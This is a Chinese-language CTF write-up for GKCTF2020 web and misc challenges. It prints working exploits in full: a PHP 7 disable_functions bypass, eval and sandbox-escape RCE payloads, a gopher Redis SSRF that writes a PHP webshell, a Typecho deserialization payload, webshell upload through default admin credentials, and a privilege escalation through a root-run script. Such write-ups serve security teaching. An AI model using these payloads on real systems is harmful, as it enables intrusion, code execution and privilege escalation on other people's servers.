GKCTF2020 web+misc

文章目录

  • web
    • CheckIN
    • cve版签到
    • 老八小超市儿
    • EZ三剑客-EzNode
    • EZ三剑客-EzWeb
    • EZ三剑客-EzTypecho
    • Node-Exe(unsolved)
  • misc
    • Pokémon
    • code obfuscation(unsolved)
    • Harley Quinn

web

CheckIN

考点:代码审计,绕disable_functions

题目给了源码:

<title>Check_In</title>
 
highlight_file(__FILE__);
class ClassName
{
        public $code = null;
        public $decode = null;
        function __construct()
        {z
                $this->code = @$this->x()['Ginkgo'];
                $this->decode = @base64_decode( $this->code );
                @Eval($this->decode);
        }

        public function x()
        {
                return $_REQUEST;
        }
}
new ClassName();

__construct()中,传入Ginkgo参数,会被base64_decode,所以先base64编码一下RCE:

phpinfo();->cGhwaW5mbygpOw==

得到phpinfo()回显。
在disable_function看出禁用了很多函数。
先遍历一下目录:
payload:

?Ginkgo=dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==

dmFyX2R1bXAoc2NhbmRpcignLi4vLi4vLi4vLi4vJykpOw==var_dump(scandir('../../../../'));的base64编码,得到:

在这里插入图片描述
可以看到有一个readflag文件。连上蚁剑(话说我为什么扫目录):
GKCTF2020 web+misc_第1张图片
编码器选择base64可能不行,之前就卡这了,官方wp给出了一个自己写的编码器:
GKCTF2020 web+misc_第2张图片
编码器选择自己的,连接成功:
GKCTF2020 web+misc_第3张图片
果真执行不了。那就是绕disable_function了,有现成exp:
链接:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
利用:





# PHP 7.0-7.3 disable_functions bypass PoC (*nix only)

#

# Bug: https://bugs.php.net/bug.php?id=72530

#

# This exploit should work on all PHP 7.0-7.3 versions

#

# Author: https://github.com/mm0r1
pwn("echo `/readflag` > /tmp/flag.txt");//执行/readflag,把值写到flag.txt
function pwn($cmd) {
    global $abc, $helper;
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }
    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);
        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);
        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);
            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }
        if(!$data_addr || !$text_size || !$data_size)
            return false;
        return [$data_addr, $text_size, $data_size];
    }
    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;
            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;
            return $data_addr + $i * 8;
        }
    }
    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }
    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);
            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }
    class ryat {
        var $ryat;
        var $chtg;
        function __destruct()
        {
            $this->chtg = $this->ryat;
            $this->ryat = 1;
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }
    $n_alloc = 10; # increase this value if you get segfaults
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_repeat('A', 79);
    $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
    $out = unserialize($poc);
    gc_collect_cycles();
    $v = [];
    $v[0] = ptr2str(0, 79);
    unset($v);
    $abc = $out[2][0];
    $helper = new Helper;
    $helper->b = function ($x) { };
    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }
    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;
    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);
    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);
    $closure_obj = str2ptr($abc, 0x20);
    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }
    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }
    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }
    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }
    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }
    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
    ($helper->b)($cmd);
    exit();
}

上传到tmp文件夹:
在这里插入图片描述
到靶机上包含一下:
GKCTF2020 web+misc_第4张图片
aW5jbHVkZSgnL3RtcC94bGN2di5waHAnKTs=——>include('/tmp/xlcvv.php');
即可在flag.txt看到flag

cve版签到

考点:cve-2020-7066,%00截断

在这里插入图片描述
f12查看,可以看到:
GKCTF2020 web+misc_第5张图片
点击蓝色链接,跳转到了:
在这里插入图片描述
没有显示任何东西,有一个url参数,无从下手,不过题目放了一个hint,可以说是白给了:
GKCTF2020 web+misc_第6张图片
百度一搜,找到这个网站:
https://bugs.php.net/bug.php?id=79329
GKCTF2020 web+misc_第7张图片
要构造url参数。再看一下网站给的测试代码:

 
//用户输入
$_GET ['url'] ="http:// localhost \ 0.example.com"; 

$host = parse_url($_GET['url'],PHP_URL_HOST; 
if(substr($host,-12)!=='.example.com'){ 
    die(); 
} 
$headers = get_headers($_GET['url']);

所以构造payload:

?url=http://127.0.0.123%00www.ctfhub.com

因为是在url中构造,所以\0截断要换成%00截断
得到flag:
GKCTF2020 web+misc_第8张图片
(我傻呼的一直把localhost当作是oj的域名)

老八小超市儿

考点:shopxo电商后台渗透
参考链接:
http://www.nctry.com/1660.html

shopxo有个后台,默认地址是/admin.php,默认用户密码是admin和shopxo,登陆进入后台:
GKCTF2020 web+misc_第9张图片
到官网下一个免费主题,将一句话木马添加到default/_static_/在这里插入图片描述
上传:
地址是:
http://*****/public/static/index/default/hah.php
蚁剑连接(菜刀又一次拉跨):
GKCTF2020 web+misc_第10张图片
在根目录下找到fakeflag:
在这里插入图片描述
root文件夹没有权限访问:
GKCTF2020 web+misc_第11张图片
不过在根目录下还有一个可疑的auto.sh的文件和hint:
在这里插入图片描述
看一下hint:
GKCTF2020 web+misc_第12张图片
提权无疑了。再看一下auto.sh:
在这里插入图片描述
shell脚本。查看一下权限:
GKCTF2020 web+misc_第13张图片
auto.sh是root权限才能执行,makeflaghint.py又可以修改,那么就通过修改py文件来达到“借刀杀人”的目的:
搜到了一个遍历目录的脚本:
GKCTF2020 web+misc_第14张图片
修改py文件为:

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
# f=io.open("/flag.hint", "rb+")
# f.write(str(gk1))
# f.write(str(gk))
f = open("/flag","rb+")
for root,dirs,files in os.walk(r"/root/"):
    for file in files:
        f.write(str(os.path.join(root,file))+"||")
        # TODO: write code...
f.close()

得到目录文件:
在这里插入图片描述
提取flag:

import os
import io
import time
os.system("whoami")
gk1=str(time.ctime())
gk="\nGet The RooT,The Date Is Useful!"
# f=io.open("/flag.hint", "rb+")
# f.write(str(gk1))
# f.write(str(gk))
f = open("/flag","rb+")
get = open("/root/flag","r")
f.write(get.read())
        # TODO: write code...
f.close()

得到:
在这里插入图片描述

EZ三剑客-EzNode

考点:int溢出,safereval沙箱突破

GKCTF2020 web+misc_第15张图片
随意输入,返回的都是timeout:
GKCTF2020 web+misc_第16张图片
查看一下源代码:

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

看到有一个eval路径,并传参delay:
在这里插入图片描述
首先就是要先绕过timeout,否则不管之后怎么操作,都只会显示timeout。机缘巧合,发现一长串的数字即可绕过,赛后看了wp才知道delay只是int型,学过C都知道这种数据类型都是有界的,超过即报错,所以:
payload:

/eval?delay=111111111111111

别数了,一共15个1,多输几个也没毛病。
在这里插入图片描述
接下来就是从颖奇师傅那边嫖来的safereval沙箱逃逸,参考:
https://github.com/commenthol/safer-eval/issues/10有利用代码:

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

主要的是:

const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()

可以合并成:

return clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("whoami").toString()

本题在eval路径下给了一个e参数可以控制:
GKCTF2020 web+misc_第17张图片
所以:
GKCTF2020 web+misc_第18张图片

EZ三剑客-EzWeb

考点:内网探测,Redis SSRF
参考链接:https://byqiyou.github.io/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/

f12给了一个tip,访问他得到:
GKCTF2020 web+misc_第19张图片
给出了ifconfig的信息。内网探测发现173.139.5.11存在服务:
GKCTF2020 web+misc_第20张图片
爆破出端口6379:
GKCTF2020 web+misc_第21张图片

-ERR开头,是Redis报错格式。

RESP协议
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。

接下来就是用脚本打了,exp:

import urllib
protocol="gopher://"
ip="173.139.5.11"
port="6379"
shell="\n\n\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
	 "set 1 {}".format(shell.replace(" ","${IFS}")),
	 "config set dir {}".format(path),
	 "config set dbfilename {}".format(filename),
	 "save"
	 ]
if passwd:
	cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
	CRLF="\r\n"
	redis_arr = arr.split(" ")
	cmd=""
	cmd+="*"+str(len(redis_arr))
	for x in redis_arr:
		cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
	cmd+=CRLF
	return cmd

if __name__=="__main__":
	for x in cmd:
		payload += urllib.quote(redis_format(x))
	print payload

运行得到一串redis RESP协议格式的payload:

gopher://173.139.5.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2432%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

提交上去,再访问一下shell.php即可:
GKCTF2020 web+misc_第22张图片

EZ三剑客-EzTypecho

考点:typecho1.1反序列化漏洞
参考链接:
http://www.tomyxy.com/index.php/archives/3.html
https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzTypecho
tips:官方wp中反序列化是在$_GET['finish']下的反序列化,而这个是需要绕过session的,因为这个检测是在$_GET['finish']下检测的,而颖奇师傅用的是$_GET['start']下的反序列化,并没有session检测,所以不用绕过

这题复现是用的颖奇师傅的方法,利用的是:
GKCTF2020 web+misc_第23张图片
这段代码的反序列化。而不是官方给的绕过session的方法,颖奇师傅tql。所以只要带上start参数即可。
利用参考链接中的exp生成payload:
exp:



class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct()
    {
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'content' => '1',
            'link' => '1',
            'date' => 1540996608,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'cat /flag';
        $this->_filter[0] = 'system';
    }
}

$payload = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($payload));

?>

payload:

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo2OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NzoiY29udGVudCI7czoxOiIxIjtzOjQ6ImxpbmsiO3M6MToiMSI7czo0OiJkYXRlIjtpOjE1NDA5OTY2MDg7czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX1zOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9

然后一把梭:
GKCTF2020 web+misc_第24张图片
不过既然官方用的是绕过session的方法,那这个知识点也看一看:

⽂件上传时POST⼀个与PHP_SESSION_UPLOAD_PROGRESS同名变量时会在session中添加数据,从⽽绕过session检测

官方exp:

import requests
url='http://26b4c383-d6a2-41b8-8ea85f289a4c3688.node3.buuoj.cn/install.php?finish=1'
files={'file':123}
headers={
#运行poc替换__typecho_config   
'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6 IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi 4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhv ciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYX JhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlw ZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicH JlZml4IjtzOjQ6InRlc3QiO30=',
    'Referer':'http://26b4c383-d6a2-41b8-8ea85f289a4c3688.node3.buuoj.cn/install.php'
re=requests.post(url,files=files,headers=headers,data= {"PHP_SESSION_UPLOAD_PROGRESS": "123456789"}) print(re.text)

Node-Exe(unsolved)

考点:

misc

Pokémon

下载是一个BGA文件,传到手机上,下载一个GBA模拟器。走到103号公路,草(一种植物)就是flag。我当时还傻呵的打了20分钟的怪。

code obfuscation(unsolved)

Harley Quinn

u1s1,如果没有提示那个软件,那就是想到海贼王完结我也想不出来。
拨号音之前MRCTF就有过一题了,所以一样的操作解出拨号数字:

#222833344477773338866# 

手机9键打开看一下,用过老人机都知道按一个按键下的字母都是要连着按的,所以解得:

ctfisfun

GKCTF2020 web+misc_第25张图片
软件解一下即可,话说我第一次下载的软件版本也是v1.25,但是他解不出来,有点迷。

你可能感兴趣的:(复现wp)